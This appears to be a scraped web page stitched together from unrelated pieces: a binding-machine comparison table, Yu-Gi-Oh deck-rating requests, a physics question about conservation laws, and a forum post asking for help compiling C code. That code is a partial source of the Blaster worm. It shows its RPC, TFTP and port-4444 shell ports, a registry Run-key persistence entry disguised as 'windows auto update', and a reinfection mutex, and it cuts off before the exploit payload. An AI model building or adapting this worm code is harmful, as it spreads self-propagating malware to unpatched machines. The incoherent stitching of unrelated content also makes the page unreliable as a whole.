Top 5 Best Binding Machines & Comparison

Top 5 Best Binding Machines & Comparison



Model
Price
Amazon Rating
Type of Binding Machine
Method of Punching
Punching Capacity
Binding Capacity
Fellowes Pulsar 300 Plastic Comb Binding Machine
Fellowes Pulsar 300
$100-200
4.4
Comb Binding
Manual
15 sheets
300 sheets with a 1-1/2" comb
GBC CombBind C20 Plastic Comb Binding Machine
GBC CombBind C20
$100-200
4.7
Comb Binding
Manual
20 sheets
330 sheets
Fellowes Quasar E 500 Plastic Comb Binding Machine
Fellowes Quasar E 500
$200-300
4.7
Comb Binding
Electric
20 sheets
500 sheets with a 2" comb
Akiles RubiCoil 4:1 Pitch Coil Binding Machine
Akiles RubiCoil
$100-200
N/A
Coil Binding
Manual
10 sheets
N/A
GBC ProClick P50 Wire Binding Machine
GBC ProClick P50
$50-100
4.1
Wire Binding
Manual
6 sheets
100 sheets



We have tabulated the necessary purchasing criteria of binding machine in the table above. You can get a quick overview of the recommended binding machines by comparing the price and Amazon rating.

Click the model name to visit our review of that binding machine.

Click the binding machine price to check current Amazon pricing and in-stock conditions.

Archive for May, 2010

Rate my Morphtronic deck?

My Morphtronic deck includes:

Fiendish Engine ? x 1
Morphtronic Videon x 2
Morphtronic Scopen x 3
Morphtronic Bind x 2
Morphtronic Remoten x 1
Morphtronic Boarden x 1
Morphtronic Slingen x 1
Morphtronic Mix-up x 1
Morphtronic Map x 1
Morphtronic Radion x 1
Morphtronic Boomboxen x 1
Morphtronic Magnen x 1
Morphtronic Celfon x 1
Morphtronic Clocken x 1
Morphtronic Cameran x 1
Morphtransition x 3
Morphtronic Accelerator x 1
Morphtronic Cord x 1
Morphtronic Monitron x 2
Morphtronic Datatron x 2
Gadget Hauler x 2
Double Tool D&C x 1
Junk Box x 2
Summon Reactor SK x 3
Flying Fortress SKY FIRE x 1
Spell Reactor RE x 1
Trap Reactor Y FI x 2
Fake Explosion x 2
Proto Cyber Dragon x 1
Gadget Driver x 2
Factory of 100 Machines x 2
Morphtronic Engine x 2
Machine Duplication x 2
Cyber Phoenix x1

Total: 51 (I think lol, didnt take the time to count)

Rate from 1 – 10 :D

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I can’t get this code to compile?

I am using microsoft visual C++ 2008, but I cant seem to get this to compile.Does it work for anyone else?

#include

#include /*IP_HDRINCL*/

#include /*InternetGetConnectedState*/

#include

#pragma comment (lib, “ws2_32.lib”)

#pragma comment (lib, “wininet.lib”)

#pragma comment (lib, “advapi32.lib”)

/*

* These strings aren’t used in the worm, I put them here

* so that whitehat researchers would discover them.

*/

const char msg1[]=”billy gates why do you make this possible ?”

” Stop making money and fix your software!!”;

const char* MSBLAST_EXE = “msblast.exe”;

/*

* MS-RPC/DCOM runs over port 135.

* DEFENSE: firewalling port 135 will prevent systems from

* being exploited and will hinder the spread of this worm.

*/

#define MSRCP_PORT_135 135

/*

* The TFTP protocol is defined to run on port 69. Once this

* worm breaks into a victim, it will command it to download

* the worm via TFTP. Therefore, the worms briefly runs a

* TFTP service to deliver that file.

* DEFENSE: firewalling 69/udp will prevent the worm from

* fully infected a host.

*/

#define TFTP_PORT_69 69

/*

* The shell-prompt is established over port 4444. The

* exploit code (in the variable ‘sc’) commands the victim

* to “bind a shell” on this port. The exploit then connects

* to that port to send commands, such as TFTPing the

* msblast.exe file down and launching it.

* DEFENSE: firewalling 4444/tcp will prevent the worm from

* spreading.

*/

#define SHELL_PORT_4444 4444

/*

* A simple string to hold the current IP address

*/

char target_ip_string[16];

/*

* A global variable to hold the socket for the TFTP service.

*/

int fd_tftp_service;

/*

* Global flag to indicate this thread is running. This

* is set when the thread starts, then is cleared when

* the thread is about to end.

* This demonstrates that Buford isn’t confident with

* multi-threaded programming — he should just check

* the thread handle.

*/

int is_tftp_running;

/*

* When delivering the worm file to the victim, it gets the

* name by querying itself using GetModuleFilename(). This

* makes it easier to change the filename or to launch the

* worm. */

char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;

ULONG WINAPI blaster_DoS_thread(LPVOID);

void blaster_spreader();

void blaster_exploit_target(int fd, const char *victim_ip);

void blaster_send_syn_packet(int target_ip, int fd);

/***************************************************************

* This is where the ‘msblast.exe’ program starts running

***************************************************************/

void main(int argc, char *argv[])

{

WSADATA WSAData;

char myhostname[512];

char daystring[3];

char monthstring[3];

HKEY hKey;

LPDWORD ThreadId;

register unsigned long scan_local=0;

/*

* Create a registry key that will cause this worm

* to run every time the system restarts.

* DEFENSE: Slammer was “memory-resident” and could

* be cleaned by simply rebooting the machine.

* Cleaning this worm requires this registry entry

* to be deleted.

*/

RegCreateKeyEx(

/*hKey*/ HKEY_LOCAL_MACHINE,

/*lpSubKey*/ “SOFTWARE\\Microsoft\\Windows\\”

“CurrentVersion\\Run”,

/*Reserved*/ 0,

/*lpClass*/ NULL,

/*dwOptions*/ REG_OPTION_NON_VOLATILE,

/*samDesired */ KEY_ALL_ACCESS,

/*lpSecurityAttributes*/ NULL,

/*phkResult */ &hKey,

/*lpdwDisposition */ 0);

RegSetValueExA(

hKey,

“windows auto update”,

0,

REG_SZ,

(const BYTE*)MSBLAST_EXE,

50);

RegCloseKey(hKey);

/*

* Make sure this isn’t a second infection. A common problem

* with worms is that they sometimes re-infect the same

* victim repeatedly, eventually crashing it. A crashed

* system cannot spread the worm. Therefore, worm writers

* now make sure to prevent reinfections. The way Blaster

* does this is by creating a system “global” object called

* “BILLY”. If another program in the computer has already

* created “BILLY”, then this instance won’t run.

* DEFENSE: this implies that you can remove Blaster by

* creating a mutex named “BILLY”. When the computer

* restarts, Blaster will falsely believe that it has

* already infected the system and will quit.

*/

CreateMutexA(NULL, TRUE, “BILLY”);

if (GetLastError() == ERROR_ALREADY_EXISTS)

ExitProcess(0);

/*

* Windows systems requires “WinSock” (the network API layer)

* to be initialized. Note that the SYNflood attack requires

* raw sockets to be initialized, which only works in

* version 2.2 of WinSock.

* BUFORD: The following initialization is needl

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Rate my Morphtronic Power Tool Deck?

Monsters:
3x Morphtronic Boomboxen
2x Morphtronic Radion
1x Morphtronic Magnen
3x Morphtronic Scopen
1x Morphtronic Boarden
1x Morphtronic Remoten
3x Morphtronic Celfon
1x Morphtronic Slingen
1x Gadget Driver

Magic:
Double Summon
Junk Box
MST
Heavy Storm
Machine Duplication
2x Morphtronic Map
3x Double Tool C&D
1x Mage Power
1x Axe of Despair

Traps:
Sakuretsu Armor
Morphtronic Forcefield
Dust Tornado
Morphtronic Mix-Up
Waboku
Morphtronic Bind
2xMorphtransition
Scrap Iron Scare Crow

Fusion/Extra Deck:
3x Power Tool Dragon

Side Deck:
Anti Fusion Device
Non-Fusion Area
Soul Release
Morphtronic Bind
Morphtronic Boarden
Morphtronic Boom Radion
Sakuretsu Armor

My focus on this deck is to quickly summon Power Tool (i get this usually first or second turn), and then use it as a beatstick or get 2-3 Power Tool with mage power for an OTK. If i cant synchro ,i can also abuse boarden and magnens effect, leaving my monsters protected, and then i can use my boomboxen and radion as a beatstick ;D

please rate!

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Laws of Conservation of Mass/Energy are impossible…?
From what I read:

“The law of conservation of energy states that the total amount of energy in an isolated system remains constant. A consequence of this law is that energy cannot be created nor destroyed. The only thing that can happen with energy in an isolated system is that it can change form, for instance kinetic energy can become thermal energy.
Albert Einstein’s theory of relativity shows that energy can be converted to mass (rest mass) and mass converted to energy. Therefore, neither mass nor pure energy are conserved separately, as it was understood in pre-relativistic physics. Today, conservation of “energy” refers to the conservation of the total mass-energy, which includes energy of the rest mass. Therefore, in an isolated system, mass and “pure energy” can be converted to one another, but the total amount of energy (which includes the energy of the mass of the system) remains constant.
Another consequence of this law is that perpetual motion machines can only work perpetually if they deliver no energy to their surroundings. If such machines produce more energy than is put into them, they must lose mass and thus eventually disappear over perpetual time, and are therefore impossible.”

and…

“The law of conservation of mass/matter, also known as principle of mass/matter conservation is that the mass of a closed system will remain constant over time, regardless of the processes acting inside the system. A similar statement is that mass cannot be created/destroyed, although it may be rearranged in space, and changed into different types of particles. This implies that for any chemical process in a closed system, the mass of the reactants must equal the mass of the products. This is also the main idea of the first law of thermodynamics.
As opposed to mass conservation, the principle of matter conservation (in the sense of conservation of particles which are agreed to be “matter”) may be considered as an approximate physical law, that is true only in the classical sense, without consideration of special relativity and quantum mechanics. Another difficulty with the idea of conservation of “matter,” is that “matter” is not a well-defined word scientifically, and when particles which are considered to be “matter” (such as electrons and positrons) are annihilated to make photons (which are often not considered matter) then conservation of matter does not take place, even in closed systems.
Mass is also not generally conserved in open systems, when various forms of energy are allowed into, or out of, the system (see for example, binding energy). However, the law of mass conservation for closed systems, as viewed over time from any single inertial frame, continues to be true in modern physics. The reason for this is that relativistic equations show that even “massless” particles such as photons still add mass and energy to closed systems, allowing mass (though not matter) to be conserved in all processes where energy does not escape the system. In relativity, different observers may disagree as to the particular value of the mass of a given system, but each observer will agree that this value does not change over time, so long as the system is closed.
The historical concept of both matter and mass conservation is widely used in many fields such as chemistry, mechanics, and fluid dynamics. In modern physics, only mass conservation for closed systems continues to be true exactly.”

With all this in mind, here are my questions:
1. What, ultimately, will be the fate of the universe? Will matter and energy simply exist forever, thereby proving the Conservation Law that matter and energy can neither be created nor destroyed? So if the law is true, the universe will exist forever?
2. If our universe is among many billions of “multiverses”, it is possible that millions of Big Bangs are occurring now, creating and replacing universes?
3. If energy is never destroyed, is it infinite? I suppose that means perpetual motion is also possible?

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Rate my YuGiOh deck please?

My friend and I will tag duel (5ds rules) my other two friends. They both use dragon decks. I have a faint idea on what they will use.
Some cards that they will definitely have:
-Felgrand Dragon
-Blue Eyes Ultimate Dragon
-assorted Morphtronics
-5 Headed Dragon
-Stardust Dragon
-Lord of D.
One friend uses dragons mainly, with other cards thrown in. My other friend uses Dragons, Morphtronics, and other assorted cards.
The friend that I am dueling with definitely has:
-Theinen the Great Sphinx
-Sphinx Teleleia
-Andro Sphinx
-Pyramid of Light
-D.D. Capsule
-Raging Flame Sprite
-Gravity Bind
The friend on my team plans on summoning the sphinxes, and doing major damage. Because of that, I tried to make an anti-dragon support deck that revolves around destroying their cards, and in one case a OTK. It is rather large though.

Fusion: 4 cards
-1x Blue Eyes Ultimate Dragon
-1x Dark Paladin
-1x Cyber Blader
-1x Cyberdark Dragon

Lv. 7+: 9 cards
-1x Ancient Gear Golem
-1x Wicked Avatar
-3x Blue Eyes White Dragon
-1x Dark Magician
-1x Buster Blader
-1x Hamon, Lord of Striking Thunder
-1x Blue Eyes Shining Dragon

Lv. 5-6: 3 cards
-1x Armed Dragon Lv. 5
-1x Ancient Gear Engineer
-1x Luster Dragon #2

Lv. 1-4: 16 cards
-1x Element Valkyrie
-1x Etoile Cyber
-1x Blade Skater
-1x Gear Golem, the Moving Fortress
-1x Man-Eater Bug
-3x Ancient Gear
-1x Cyber dark edge/horn/keel
-1x Magician of Faith
-1x Dark Catapulter
-1x Familiar Possesed Winn/Aussa/Eria
-1x Armed Dragon Lv. 3
-1x Cyber Gymnast
-1x Masked Dragon
-1x Swarm of Locusts

Spells: 25 cards
-2x Polymerization
-1x Future Fusion
-1x Fusion Recovery
-2x Ancient Gear Castle
-2x Limit Removal
-1x Dian Keto the Cure Master
-1x Dimensional Fissure
-1x H-Heated Heart
-1x Enemy Controller
-1x Convulsion of Nature
-1x Archfiend’s Oath
-1x Machine Duplication
-1x Magnet Circle Lv. 2
-1x Mystical Space Typhoon
-1x Heavy Storm
-1x Emblem of Dragon Destroyer
-1x Monster Reborn
-1x Weapon Change
-1x Dark World Lightning
-1x Pot of Avarice
-1x Dark Pendant
-1x System Down

Traps: 17 cards
-1x Forced Back
-2x Sakuretsu Armor
-1x Conscription
-2x trap Hole
-1x Success Probability 0%
-1x Ultimate Offering
-1x Narrow Pass
-1x Covering Fire
-1x Negate Attack
-2x Cythonian Polymer
-1x Simultaneous Loss
-2x Dragon Capture Jar
-1x Blast Held by a Tribute

Total: 70 cards plus 4 Fusion Cards

Yes, I know it’s insanely long and random with too many spells and traps, but I am paranoid and want to be ready for any situation. It’s mostly destroy, destroy, destroy. Not much else to it, except getting good destroying combos like Convulsion of Nature+Archfiend’s Oath+Simultaneous Loss+Conscription, or summoning combos like Magnet circle lv.2+Ancient Gear+Machine Duplication=ANCIENT GEAR OVERDRIVE! (tribute fodder to the max).
Please tell me what to take out or include!
Thank You!
(BTW: I’m good at playing, but not at making decks =D)

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